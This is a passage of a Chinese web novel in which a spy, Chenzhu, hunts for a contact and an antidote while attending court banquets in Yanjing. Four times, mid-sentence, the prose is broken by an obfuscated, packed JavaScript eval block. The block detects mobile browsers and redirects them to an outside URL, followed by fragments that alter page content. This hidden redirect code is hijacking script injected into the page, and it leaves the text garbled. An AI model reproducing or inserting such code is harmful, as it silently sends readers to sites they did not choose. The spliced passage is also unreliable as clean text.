“我也不知，但朱国还存在时，与兆国的几次交战纷纷落败，，我那次传递出的消息也并未产生效果，景王身边的侍卫个个完好地从战场上归来。这么说来先前传递出的那些消息极有可能都被人篡改。” 车马或信鸽将消息从兆国传至朱国至少需要五日左右，为了保证每条消息传出都有效，在消息传出之前，都需由当地与朱国联系最为紧密的辨情使经手。 “若是如此，便是辨情使出现了问题。此消息存于此处，便可能是对燕京剩下的赋凌司中人的警示。” “你身份不便，改日我亲自去陈家巷一探究竟。” “好。还有此物。”沉竹将桌上放着的两张药方放到了润夏的跟前，“这两张药房的左上角均被做了标记，可这标记并不代指赋凌司，我觉着奇怪，便拿了过来。” “当归、白术、黄芪、木香，这两张药方之上都有这四种药材。” “我在想，这是否与解药有关。” “我只知晓，毒药之中应当有朱国特产的宽乐草作为药引，我在这十日中趁着无人之时，进入了景王的书房，关于药铺老板那件案子的卷宗被他藏于画后的机关之中，时间紧急，我只粗略地看了一眼，便看到了宽乐草的字样，此外廷正监的人还在瓦片内发现了此人未来得及传出的消息。” “难怪，那日我检查瓦片之时，险些中了埋伏。” “你可有受伤？” “并未。只是那日食指上沾染了瓦片上的漆，怎么也去不掉。“ “你这几日可是要小心些，城中正在搜捕那日闯入宅子的人。这药方不如先放在我这里，我略懂些药理，待我回去细细想上一想。“ “好，那我们下一步的任务便是要找到辨情使，尽力同可能尚未消失的赋凌司取得联系。” “那依旧，十日之后在此处相见。” “好。” 正待沉竹准备离去之时，润夏却再度开口：“你可知，近日你的名声在燕京城内可不算太好。” “为何？” “刑部官员家眷徐夫人说你失约在先，言而无信。” “呵。”沉竹冷笑一声接着说道：“那妇人胡搅蛮缠得很，多谢你给我提这个醒。” “我听闻此事与霍小姐的婚事有关。” “你想说什么？” “我只是想说，与京中这些贵妇人交好，获知消息能更加便利些，于你我并无坏处，莫让这些个不相干的人成为你的羁绊。” “十日后见。”沉竹说罢转身离去。 回霍府的一路上，沉竹看到有不少廷正监的官兵挨家挨户地搜寻那日闯入杨宅的人。 她看了会儿便将撩着帘子的手收回，整个身子回到了马车之内。 她将视线看向自己左手食指尖上不大不小的灰色痕迹，叫住了车夫，停下了马车。 她将头上戴着的帷帽摘下，下了马车，到路边菜摊上选了几样蔬菜，又让不远处的肉贩割了半斤猪肉，拿着这几样东西又重新上了马车。 拿着东西回到霍府之后，霍任芙将她在门口拦住，同她问着燕京城内的那些流言。 “嫂嫂那日去李府赴宴，徐夫人可是说起了我？“ “是啊。“沉竹边拎着东西向膳房走边笑着说道。 霍任芙接过沉竹左手拎着的蔬菜，继续着刚才的话题，“嫂嫂为何不告知于我？“ “那日过后，我寻沁菊打听了徐夫人话里的这位侄子，家中每月要用掉旁人两倍的胭脂水粉，家宅之内不知藏了多少房小妾。你怎能去见那样的人？” “可京中的那些谣言……” “既是谣言又何必去理会？那徐夫人既然敢在廷尉夫人的宴上同我说出此话，在别的宴席之上又是何等姿态？京中关于她的传言也定当不少吧。“ “若是见一面便不会生出这些谣言来，我定是要去的。” “芙儿，你莫不该如此想，与那般人扯上关系往后祸患怕是无穷。罢了，不说这个，近日从拂尘寺回府的路上，我见着菜新鲜便买了些回来，想着亲自做菜给你尝尝。” “嫂嫂竟还会做饭？” “在滁州家中同母亲学了些皮毛。”沉竹说着，将菜洗净，将肉放在案板之上。 “那嫂嫂今日要给我做什么？”霍任芙笑着问正专心挑着刀具的沉竹。 “一盘蒜蓉炒青菜，一盘木须肉可好？” “好，嫂嫂做什么我都是爱吃的。” 沉竹将菜一个个切好，一旁帮她打下手的霍任芙也乐在其中，不时向沉竹展示着自己切葱拍蒜的成果。 切肉时，沉竹看好了位置，右手干脆地将刀落了下去。 “嘶。”沉竹吃痛出声。 “何事？”霍任芙闻声转头，一眼便看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376657|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了沉竹手上的伤口，“嫂嫂可是切到手了？我去拿清水来先冲洗一番。” 沉竹将左手放入霍任芙拿来的清水之中简单冲洗过后，霍任芙用纱布帮她包扎。 “许是长时间未下过厨，有些生疏了，今日这菜怕是做不成了。”沉竹饱含歉意地同霍任芙说道。 “嫂嫂现在可好些了？还疼吗？” “好些了。” “怎能好些了？嫂嫂总是将事说得轻松，足足将指尖切了一小块肉下来。” “当真无事。”沉竹安慰着神色紧张的霍任芙，与从同时用清水将染血案板冲刷。 “嫂嫂莫要再管这些事了，快随我去前厅坐着歇歇。” 不待沉竹回应，霍任芙便拉着她走出了膳房。 前厅之内，霍任芙将茶水倒满沉竹面前的瓷杯，向她问道：“兄长自那之后可还有送信来？” “并未。” “也是，此时战事怕是已经发生，也不知他是否安好。” “你缘何倾心于小叶统领？” “我与叶准很早便相识了，我第一次见他时，他比我兄长矮一个头，跟在我兄长身后。” “小叶统领与夫君在战场上相识？“ “应当是的，他同我们一般，无父无母，自打见他第一眼我便心悦于他。我天天跟着他在滁州的一个小院里转来转去，那是个令人难忘的夏。” “后来。”霍任芙喝了口茶继续讲到，“他不知何时便极少同我讲话了，同兄长一般变得寡言。再后来，战事愈加频繁，兄长挣得的功勋也越来越多，需要我打理的事情也越来越多，我便也没办法跟在他们身后转来转去。到了今日，我也分不清对叶准的心意是欢喜还是从幼时延续至今日的习惯。” “分不清便无需分清，只随当下的心意做事就好。” 霍任芙停顿了一下才回答道：“嫂嫂说得在理。” “今日是我耽搁了些时间，现下日已沉了，膳房也应当将吃食备好，你我移步正厅用饭罢。” 月的模样逐渐变得明晰，沉竹手上的伤口也逐渐愈合。 廷正监在城中的搜查依旧没有停止，只是在她看来像是虚张声势，城中每日依旧有大量的人员流动，这群挨家挨户搜寻的廷正监侍卫似乎在等着贼人的下一步行动。 这几日，沉竹除了在思考着如何去寻找辨情使的踪迹，也在思索着如何将写给霍间重的信写得更有新意。 面对霍间重送回的书信，沉竹寥寥的回应总是显得不够真心，她试着在写尽日常后添加些自己的心境，这种方式，倒是将信写得很满，一不留神便写够了两页。 沉竹满意地收笔，将信小心地折叠，塞入信封之中。 若是当真能找到辨情使，便说不定能与赋凌司取得联系，解药也便有了可能，自己的生命或许便不会在几月之后结束。 可若是自己重新收到赋凌司的来信，自己会果断的斩断现下的一切联系，做出伤害霍家的事吗？沉竹犹豫着给不出答案。 但很快，她便不再为这些八字没一撇的事困扰，将身上的棉被掖匀后，陷入了睡眠。 13. 希望 在与润夏的下一个十日之约到来之前，宫中递来了帖子，邀霍府中人前去赴宴。 霍任芙告了病，便只剩沉竹一人前去宫中。 此时将近中秋赏月之季，宴席便定在了晚上，坐席也从宫殿之内搬到了宫中一处宽敞的水榭亭台。 沉竹一袭水蓝色的襦裙，搭配着缃色的腰间丝带，在宴席的末尾落座，在她的正对面坐着的是廷正监监正夫人，顾涟涟。 宫中的宴席，食物做得精致，味道也都很不错，连平日里不常吃的菜，沉竹今日都拿着端庄的姿态多尝了几口。 席间歌舞相伴，氛围轻松，王后与在前坐着的夫人小姐说笑密切，沉竹邻座的夫人们也都在轻声细语地聊着近况。 沉竹虽到燕京已有些时日，但终是与京中官眷来往不甚密切，唯二相熟的王妃与李夫人都坐得离她有一定的距离。 无人闲聊，沉竹便也乐得其所，安心享用着面前用小巧碗碟装着的菜肴。 可正当她准备拿着手中食箸去夹侍者刚刚端上的那盘蜜藕之时，坐在席面之首的王后却出声点到了她的名字。 “陈夫人、霍夫人，今日的歌舞可还喜爱？本宫听闻二位均从南边来，便特意选了南边婉转的歌谣曲调。” 沉竹与顾涟涟纷纷向王后见礼，待顾涟涟回应过后，才说道：“多谢王后抬爱，今日歌谣曲调婉转动听，舞姿秀美动人，极为赏心悦目。” “二位夫人喜欢便好，朝中重启廷正监事务，郑、霍两位大人身兼二职，日夜为朝廷辛劳，家中二位夫人打理也多有烦心，在座的夫人都是这般，今日设下此宴席就当是为各位繁琐生活中添些乐子。” “廷正监本就为朝中所设，王后忧心臣妇也忧心政事百姓，臣妇在此谢过王后娘娘关心。”顾涟涟语气真诚地回应道。 此话说完，在场的官眷均行礼谢过王后的关心。 “各位谬赞了。”王后笑了笑说道，“饭也用的差不多了，各位随我一并去前庭赏月罢。” 今夜月色华美，月形却略有缺陷，但在宫廷树影与花朵衬托之下倒也颇有几分意趣。 前庭赏月之时，在前首坐着的那些夫人小姐，不时地前来朝沉竹和顾涟涟搭话。李夫人和王妃也在其内。 不过依旧有着不和谐的声音出现。 彼时，宴席将要散去，沉竹与顾涟涟相伴，走在一众夫人小姐的后面，正路过被重重花丛遮掩的一处亭台。 “那南边来的两个粗鄙村妇，没出身，也不知因何才能得王后垂青。”说话的人扶着头上头上略有些歪斜的金镶玉簪，同身边跟着的侍女说道。 “小姐可要慎言，如今人还未散去，这四角亭处处漏风，小姐可是要小心，莫要着凉。” “慎言？今日哪家不知王后设宴特地嘱咐可带未婚嫁的小姐前来，摆明了是要为正值嫁娶之年的二皇子择妻。她霍家家中有人未曾婚配，不论此人出身是否配的上皇子，她却不将人带来，除了想独占风头可还有别的可能？” 听及此，沉竹不再忍耐，拿开顾涟涟阻拦她的手，沿着石子路，前去那方四角亭之中。 “何人来此？” 那人听到脚步声猛地回头，夜色昏沉，沉竹看不清那人的容貌，只能看到她头上闪耀着的金色光芒。 侍女提着的灯笼向沉竹靠近，朦胧的光亮照在她的脸上。 “臣妇不知贵人在此，只是瞧着此处景致精巧，便想前来看看，不想惊扰了贵人。“沉竹低着头说道，“不知贵人是？” “你是那个南边来的人？” “是。”沉竹回答地依旧恭敬。 “我的名字你也配知晓？”那人抬着头，未让行礼的沉竹起身，语气中是不变的高高在上。 沉竹直起身，借着微弱的光直视着那人的眼睛。 她刚在宴席之上便对此人做派印象深刻，她知晓眼前人是当朝御史丞的幼女杨谣。 “我未曾叫你起身，你怎敢起身？”杨谣质问着沉竹。 “只一面之缘，小姐又何须刁难于我？” “你知晓我是谁。”杨谣缓缓靠近沉竹，眯起眼睛看向她的身后，“我说你为何有如此大的胆量，原是有人在等你，不过是另一个同你一般的村妇，又怎能奈何我？” 沉竹眼中不惧，抬手将她头上插着的金镶玉发簪抽出，“此簪选和田美玉制成，这簪子上的金纹式样需工匠耗时多日才能打制而成，此一簪便要花上百两白银。杨小姐，我说的可对？” “大胆！”说罢，杨谣便要挥手朝着沉竹的脸扇去。 沉竹即刻用另一只手紧紧地握住了她扬起的手，继续说道：“若想当王妃，杨小姐也是要收敛些愚蠢做派，朝中又要开战，用度上下紧缩，若真如你所说今日王后有为皇子择妻意图，凭杨小姐所穿所戴，想必是不能当选的吧。” 说罢，沉竹又将那支簪子插回杨谣的头上。 杨谣气急败坏地看向一旁提着灯笼无所适从地侍女，怒气冲冲地说道：“你在一旁愣着干什么？还不过来帮忙！让这村妇松开我的手！” 话音刚落，沉竹便松开了手，接着说道：“宫门之内，杨小姐莫要大呼小叫，小心惊扰贵人。” “你这等货色，凭什么来指点我？廷正监还摊着一堆烂事等着处理，王后未将此窘迫点明，不过是其明德给你留些脸面，你倒好还敢来我的面前置喙？你倒当真是胆大极了，不怕吾父以此上奏禀明圣上。” “烂事？” “我当是如何，原是无知至此才来挑衅。廷正监查案却查出了朱国尚存细作在我国，如今事情越查越深，却仍旧一无所获，前些时日更是有消息传出，朱国的细作头子至今尚在，你觉得廷正监的位子，你夫君还能坐多久？” 杨谣说话时笑得纯真又狰狞，可这并不足以令沉竹恼怒，反倒给她带来些生的希望。 “你是如何得知？” “怎么，怕了？” “汝父至今未曾上奏，杨小姐倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376658|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是孝顺至极，为父担心。夜色已深，小姐莫在此处再等下去，王后娘娘已将一众小姐们叫进了凤仪殿，不会再有侍从前来召小姐上前去，更深露重，不如早些归家，以免染上风寒。臣妇告退。” 说罢，沉竹微微欠身便离去，留杨谣一人在原地狠狠地将头上的簪子拔出摔到地下。 赋凌司也许真的还存在。 沉竹坐在回府颠簸的马车之上一直想着此事，她期待着与润夏的见面，渴望着自己能得到一个想要的答案。 近日来她研读了许多关于中草药的书籍，寻找着宽乐草的踪迹，以期能在解药上帮助到润夏。 霍任芙近来见她对这些药材感兴趣，便特地从京中药铺把各种都买了些回来供沉竹把玩，其中恰巧就有宽乐草。 “此物芙儿定是跑了许多药铺才能找来的吧。”沉竹手中拿着草药，问着一旁打着算盘的霍任芙。 “也不算很多，京中最近有不少药铺都新进了这种草药，听说是宫中要用，不过平常燕京之内的确很少这类南方的草药。” “总归是要费心的。这几日我这书刚看及此，还是你最为贴心。“ “那日我生病体弱，让嫂嫂一人前去宫中，我本就有些过意不去。” “宫宴之上我听闻廷正监近来摊上的事情有些棘手，我听后便有些担忧。” “叶准先前曾同我说过一二，但因涉及隐秘也未说太多，近来城中挖出了潜伏在燕京的细作，近日廷正监大肆搜查，大抵也是因此关联。不过兄长行事一向谨慎，嫂嫂大可放心。” “那便好。今日我还收到了夫君的信，小叶统领也送来了一封，想必是要给你的。” “信在何处？若是未取，待会儿不如我陪嫂嫂一并去取？”霍任芙看向沉竹，眼睛里都闪着亮光。 “信我已让沁兰送到了我房中，待会我便亲自拿与你。” “多谢嫂嫂！”霍任芙笑着说道。 霍间重此次的来信依旧写了很长，信中向她诉说着北地的寒冷，凛冽又萧瑟的风，在营地之中同将士们一起喝过的甘美的酒，还有对她的思念。 沉竹一字一句耐心地读完，又认真地回复，写了生活的琐碎，也写了些许自己对他的情感。 随着笔墨在纸间流淌，月光也流淌进屋，同屋中燃着的烛火做着较量。 沉竹现下知晓的信息很是有限，但总归是好的，赋凌司以另一种方式依旧活跃在兆国，而兆国上下似乎都也肯定着它的存在。 明日便是和润夏约定的日子，只要能与燕京内的辨情使者联络，哪怕其有着叛变的可能，但她相信依旧能够得到一些有用的，能够延长她性命的信息。 写完信后，沉竹躺在床榻之上，脑中梳理着自己这些时日得知的消息，燕京城内打死搜查且有着赋凌司有关的刺客行动，廷正监不断地探查，在很多人的口中都似乎证明了赋凌司现下依旧存在。 她合眼，想着自己得到解药后的未来，安然入睡。 14. 破灭 十月，燕京城已经全然陷入了秋季。边疆的战事接二连三地告捷，城中气氛也沉浸在欢庆之中。 沉竹依旧带着帷帽走出霍府，前去拂尘寺与润夏见面，也为霍间重祈福。 山上原先的绿草已变得枯黄，树枝之上零落地点缀着几片黄叶。 润夏仍先沉竹一步等在拂尘寺后的山头，她穿着不同于以往的浅粉色衣衫，手中挎着一个竹篮，竹篮之中放着将要带回王府的香囊。 “润夏，辨情使的事情可有着落了？“沉竹迫不及待地向润夏询问着这一问题。 润夏并未说话，只是摇了摇头。 “那可有获知些别的消息？” “沉竹，我们找不到燕京先前的辨情使了。你我此后也不必在此拂尘寺相见。” “你这是何意？”沉竹看着润夏脸上落寞又疲惫的神色，焦急地追问。 “我近来凭着外出替王妃采买祈福的由头离开王府，一直在调查此事，我从那面点摊入手，问遍了周围人，才得知了此人的下落，我又跟着这线索找了上去，但依旧一无所获。周遭的邻里在那之前的一天还见到了此人，可我寻至此处之后的两三天，邻里再没见到过他的人影，我也是不甘心的，从王府告了两日假，日夜在这周围探查蹲守，不见其踪迹。” “那我们就这样放弃？” “沉竹，在那之后的一个清晨，我在屋子邻近的河道里，发现了他的尸体。那尸体未变紫发肿，显然是刚被杀害，抛弃到了河道之中。” “怎会如此巧？” “我也正是怀疑这一点，你我的行动兴许已经暴露在廷正监的视察范围之内，此事便到此为止吧。有廷正监在背后，我们事事都会晚一步，再继续行动下去，留给我们的结果只会更加可悲。” 沉竹听后，久久地沉默，她积攒的希望终是在这一刻破碎。 是啊，她早该想到的，如此顺利地找到辨情使的线索，杨谣父亲的久不上奏，城中药铺近日因朝廷需要多出的宽乐草。 事情本已摆到了她的面前，是她太过冒进，孤注一掷，不愿相信。 出现问题的从不是燕京的辨情使，是那药铺的老板，完好归来的侍卫，连续失败的战争，才是真正的巧合。 “那便，到此为止。”沉竹将带来的宽乐草递给润夏，“此物交予你。若是能够破解出解药的配方……” 润夏接过她递来的宽乐草，诚恳地说道：“沉竹，我最后一次收到解药是今年的三月，若是那时你还未收到我的死讯，你我便于月末在此处相见，可好？” “好。” “这两只香囊赠予你，王妃每隔一段时日便会让我来此处祈福，今日偶遇霍夫人，便是缘分。” 沉竹接过润夏递来的两只淡紫色香囊，一只上面绣着白鸽，另一只则绣着一朵粉色的芍药花。 “多谢。” “天色不早了，奴便先告退了。” 润夏说完便转身离去，留沉竹一人在原地看着残落的余辉逐渐在燕京城上空消散。 沉竹刚回到霍府，沁兰便递给她了两封从滁州送来的信。 一封信是由赵父赵母送来的，随信一并送来的还有几箱滁州的特产，沉竹将这封信读完，提笔想要在白纸之上写些什么回复，却一个字也写不出来。 另一封信是由章征送来的，信上说他定下了亲事，将在明年正月办下宴席，邀她们一家前去滁州赴宴。 章征的帖子一式三份，沉竹手边还有封一模一样的信是写给霍间重的，剩下的那一份也已递到了霍任芙手上。 她提笔恭贺章征新禧，并在信中写道，若无杂事侵扰，便一定携礼前去滁州相贺。 写完这些，沉竹对着面前那扇开着的窗子呆了许久，看着窗前被精心修剪过的园林景致，久不能回神。 随后，她像之前那般，将赵父赵母送来的信交给了沁兰，简单嘱咐几句之后，让她帮自己写封回信。 “夫人不自己写吗？”沁兰犹豫着将问题问出。 “你知晓我不善向父亲母亲表达些什么，你代我写或许能让父亲母亲看着高兴些。” “夫人最近可是有些心事？”沁兰终是将心中的担忧问出，这些时日来，她眼中的沉竹总是有些喜忧无常。 “不过是夫君远行，我一人有些孤寂罢了。” 沁兰的花让沉竹开始反思自己先前的行为、神态，面对直接的死亡，她确是在近些时日之间太过喜、忧在表面，太过冒进、执拗。 “上次我想着给父亲母亲自己写一封信，写完过后总是觉得有些不满意，此次便还是想要交由你来写。”沉竹状作不好意思地朝沁兰笑笑接着说道：“此事交给你我还是极为放心的，你也不必为我担忧。” “夫人安好便好，奴明日写好交给夫人，天色不早了，夫人也该早些安睡。” “屋内烛火只余一盏，我自己灭就好，你先去休息吧。” “是，奴退下了。” 看着沁兰消失在夜色之中，沉竹将打开的房门重新关上，她将桌上亮着的那盏烛火吹灭，然后整个身体便脱力靠在了门上。 轻声的叹息在黑夜之中显得微不足道，但心中无尽的悲伤却足以将她整个人拉挎。 她想要哭泣，但眼睛却湿润不起来，与悲伤一并到来的还有恐惧。 她害怕自己行差踏错，被人抓入牢笼，提前结束了自己的生命，她更害怕在字句之间不知不觉将自己和周边人的情感加深，缔结更深的连结，害怕自己在离去之时，还在眷恋这里的一切。 心中的缺口还在无限地放大，可沉竹还要面对下一个残酷的朝阳。 燕京的秋雨来得仓促又猛烈，一连好几日地上都维持着潮湿。 霍任芙自打那日收到叶准的信后，便也有些愁容。 “近日你可是有些烦心事？”沉竹将煮好的热水倒入茶壶之中，向霍任芙问道。 她今日与霍任芙在院中一处小亭中听雨品茶，打发着闲暇时光。 “这京中贵人们的雅趣我当真是欣赏不来，这不断的雨声我只觉得心烦。”说着，霍任芙将手伸出亭外，接了几滴从亭角滑落的雨滴，又缩了回来，回答着沉竹的问题，“嫂嫂可还记得上次叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376659|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准给我写的信？” “记得。”沉竹浅笑着回应，她怎会忘记。 “叶准在信中同我写到，边境战役接连告捷，他也立下了些许功勋，约莫着此次归来便可自己在京中有间家宅，到那时，他想向兄长提亲。“ “提亲？“沉竹听到此消息还是有些惊异，她本以为叶准的心思尚且未定，不成想却已到了提亲这步，”这不是件好事？如何让你心烦意乱？” “可我看到他信中将此事写明时，我却只感片刻欣喜，更多的是种水到渠成的坦然，我心觉不该这样，才会为此感到心烦。” “那可有人让你不只感到片刻的欣喜？” “没有。” “那你可想好了是要接受还是拒绝？” “也没有。”霍任芙沮丧地摇摇头，眉头锁得更紧了些。 沉竹未经此事，说不出些什么建议来，只得安慰道：“那不如将此事缓缓，离夫君他们归来还有些时日，俗语讲车到山前必有路，兴许到了那时一切便可拨云见日。” “嫂嫂说的对。”霍任芙的心绪向来转变得极快，此刻便一扫愁容，展开了笑颜，“今日这茶倒是颇有几分韵味，嫂嫂快尝尝。” “好。”沉竹笑着回应，随后端起面前的茶杯，饮了一口，“的确，茶色清透，入口甘甜，算得上是好茶。” “对了，隔了这些时日，嫂嫂手上的伤可好些了？” 沉竹低头看着自己左手食指之上的那块已经愈合的伤疤，笑着说道：“已愈合了，不过是小伤，劳心你如此挂怀。” “愈合了便好。”霍任芙咬了一口备着的糕点继续说道：“提及此事我突然想到，嫂嫂可还记得前些时候廷正监在城中的那次搜查？” “自然记得，此事在坊间口口相传，声势可谓浩大。“ “诶，可惜并未查出些什么来，我听闻廷正监挨家挨户搜查关键是要看每户人家的双手，凡是手上有些疤痕印记的，都被抓去问话了。“ “这可是有些激进？“ “我也觉得，不过涉及家国大事，谨慎些倒也无妨，只是搞得那些时日人心惶惶，总是有些不妥。“ 霍任芙此刻提及的话题，足足让沉竹捏了把冷汗，她面色如常地为霍任芙空了的茶杯添了些茶水，又将霍任芙吃过的糕点让身边侍女添了新的进来，才向霍任芙问道：“那夫君可会受到牵连？” “大抵是不会的，嫂嫂大可放心，兄长离开之前虽负责此案查办，不过后续的行动均转由廷正监监正管理实行，与兄长关联并不密切。” “如此，我便也心安了。芙儿雨声可听腻了，我房中先前备着的香料还待你把玩，不如随我到房中待着打发时光？” “早就听腻了，我即刻让人沏一壶新茶至嫂嫂房中，我便与嫂嫂一起去房中看看那些备好的香料。”霍任芙的语气雀跃，抬手投足之间已不见刚刚愁闷姿态。 “不过，这战事已持续了多月，不知夫君何时能够归来？前些时日，章征递来了帖子，不知是否来得及赶上？” “应当快了吧，正月之前他们大约能够归家。” 15. 赏菊 自那次宫宴之后，燕京城中对二皇子妃人选的猜测便接连不断地产生，沉竹今日去赴的赏菊宴之上也有着不少人在谈论着此事。 当下最为可能的人选无需她前去询问，宴席之上早有不少人围绕在她们身侧。 与沉竹交恶的徐夫人围在了杨谣的身侧，不时用手中扇子掩面高调地笑着，不时同身边人说着能让杨谣手摸发簪，仰头轻笑的话语。 举办此赏菊宴的人沉竹并不陌生，正是曾送礼至霍府的晏家。晏家嫡女晏钦薇正是皇子妃的另一位人选。 沉竹同顾涟涟站在院中一处池塘边有一搭没一搭地闲聊着，她对此事并不关心，今日前来赴宴也是为了给自己剩下的时间寻些乐趣。 “霍夫人平日里可喜爱菊？”顾涟涟柔声问着一旁观池中鱼的沉竹。 “菊花气味沁人，但于我而言终是有些淡雅，陈夫人对菊可是喜爱？“ 沉竹的问题不待顾涟涟回答，一道尖且细的声音从后方传来。 “果真是南边乡野而来，尽喜爱些艳俗之物。” 杨谣今日的打扮依旧张扬，头前祥云样式的白玉花钿正中镶着一块清透耀眼的红色玛瑙，发髻之上则左右各钗着两支样式不尽相同的芝红玉簪。 沉竹同顾涟涟欠身见过礼。 沉竹无意搭理杨谣的挑衅，见礼之后便不理会地转过身去，继续看着池中的鱼。 “杨小姐可是有事寻我与霍夫人？”顾涟涟赔着笑脸，柔着声音向杨谣问道。 “宴席之上人人都是藏事而来？”杨谣冷哧一声，缓步向沉竹身边走去，“那日夫人曾让我不要在亭中苦等，可王后隔日还是将我召入宫中问话，今日我来此处赴宴，穿戴仍不变，夫人就像这池中之鱼，只看得清此方池塘。” “杨小姐是说我短视？”沉竹一手扶着池边的白石扶手，漫不经心地回看杨谣。 ”夫人可莫要多想。“杨谣忽略沉竹眼神中令她恼怒的满不在意，继续装出被误解的惊讶神情，“我是在感激夫人那日看得清事态，为我身体着想，让我免受风寒之苦。“ 不成想，面前人倒真顺了她的意，叹了口气，语气倦怠地说道：”是我那日冒犯了杨小姐，还请杨小姐见谅。“ 说罢，还规规矩矩地向自己又行了一个礼。 杨谣还未施展出的阴阳怪气被沉竹此举硬生生地摁了回去，被沉竹轻视语气挑起的怒火更是因为这一番道歉的言语放进了铁炉之中，灭不掉又逃窜不出。 她僵着脸色，一声不吭地又走回那群人中。 方才还有些战战兢兢的顾涟涟此时倒是放松了下来，轻笑着向沉竹说道：”夫人这时怎不像那日直直的冲上去？我倒真是佩服夫人这般进退有度，总有法子将那张扬的斗鱼不挣扎地锁入池塘。“ “她没说错，我的确短视。”只盯着利好的饵料，一头扎进没有回报的渔网之中。 “夫人这是哪里的话。”顾涟涟将脸上那本就微不可察的笑意收回，”今日霍小姐怎不一同前来？” “近来夫君将归，家中事务繁多，今日我本就是忙里偷闲，芙儿便帮我在府中照料着些。”沉竹编出个可信的借口，搪塞着顾涟涟。 “霍小姐可真是能干。可这样总不外出见客，总是不妥，婚事也没个着落。” 见沉竹默不作声，顾涟涟又真挚地补充道：”此话我是为霍夫人着想，霍小姐总不跟着出门，这燕京城中总要传出些你苛待、不识礼数的名声来。“ 沉竹知晓顾涟涟此言诚心，可自己本就是将死之人哪里顾得上燕京城中的这些流言蜚语。 “芙儿有她自己的考量，我也不好强迫于她。” “若是这般，霍夫人便只当我方才失言。” “我方才的问题，陈夫人还未答复于我。”沉竹笑着将话题揭了过去，“陈夫人对菊可是喜爱？” “喜爱，我南边家中便养着几株绿云菊。” 话音刚落，院中传来瓷器破碎的声音，引得分散在院中各处的宾客循声而望。 泥土与碎片散在地上，一朵黄色的菊花在地上兀自开放。 不久前刚刚离开沉竹身边的杨谣捂着脖子，被身边仆妇搀扶着坐在侍者急忙搬来的木椅之上。 “发生了何事？”顾涟涟出声向身边的沉竹问道。 “我也不知。” 说罢，沉竹牵着顾涟涟的手逐步向人群围绕的那片狼藉靠近。 “我不过同你说了几句话，你竟将这花瓶打碎伤害于我。”杨谣此时的神态不像先前面对沉竹那般假装，神色间的惊惧与怨气直接地浮现在她那张精致华贵的脸上。 晏钦薇站在杨谣的面前，手中拿着的瓷片染上了些许来自杨谣的血迹。 关注这边的人越来越多，却不见办赏菊宴的晏家人出来主持将此事解决。 晏钦薇在此时将手中握着的瓷片松开，忙让身边侍女请来的郎中为杨谣查看伤势。 见郎中在一旁匆忙地翻着药箱，杨谣也将自己捂着脖颈的手轻轻松开，沉竹留心看了她的伤口，不过是一道微泛出些红色的细长伤口，只要小心呵护，连疤痕都不会留下。 晏夫人此刻才急步从不远处的亭台穿廊而来，拉着晏钦薇的衣袖，低声下气地向杨谣道歉，言语间还允诺择日要登门携礼致歉。 跟在晏夫人仆妇则张罗着注意此事的一众官眷去别处院落饮茶谈话。 沉竹便同顾涟涟一道在前引路的侍女离去。 饮过茶，这场宴席便行至尾声，归家之前，沉竹向顾涟涟问着她对二皇子的了解。 “二皇子是记在王后名下的一位皇子，生母我并不知晓。” “我初到燕京，不知这二皇子平日处事如何？”顾涟涟方才所说，是沉竹先前在赋凌司便知晓的信息。 “平日处事果断，待人也和善。” 一国之内，两位皇子的声名都极为良好，这是沉竹先前在朱国不曾遇到过的盛况。 言语间，行至车马之前，沉竹同顾涟涟道别，弯腰坐上马车，返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376660|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍府。 沉竹刚到霍府，霍任芙便又守在了门前，像是在等着她归府。 她的手中拿着两封从边境送来的书信，其中一个已然拆封。 “嫂嫂，兄长和叶准又送来了信。”霍任芙兴高采烈地向刚进门的沉竹说道。 沉竹现下最不愿见到的便是书信，但面对热情的霍任芙还是勉力展露出笑容。 “是吗？夫君竟又来信？小叶统领在信中又同你说了些什么，让你如此高兴。” 霍任芙边挽着沉竹的手进门，边羞涩道：“他在信中也没说些什么，只是说战事将熄，不日他与兄长便会结伴归来。” “当真只说了这些？”沉竹打趣道。 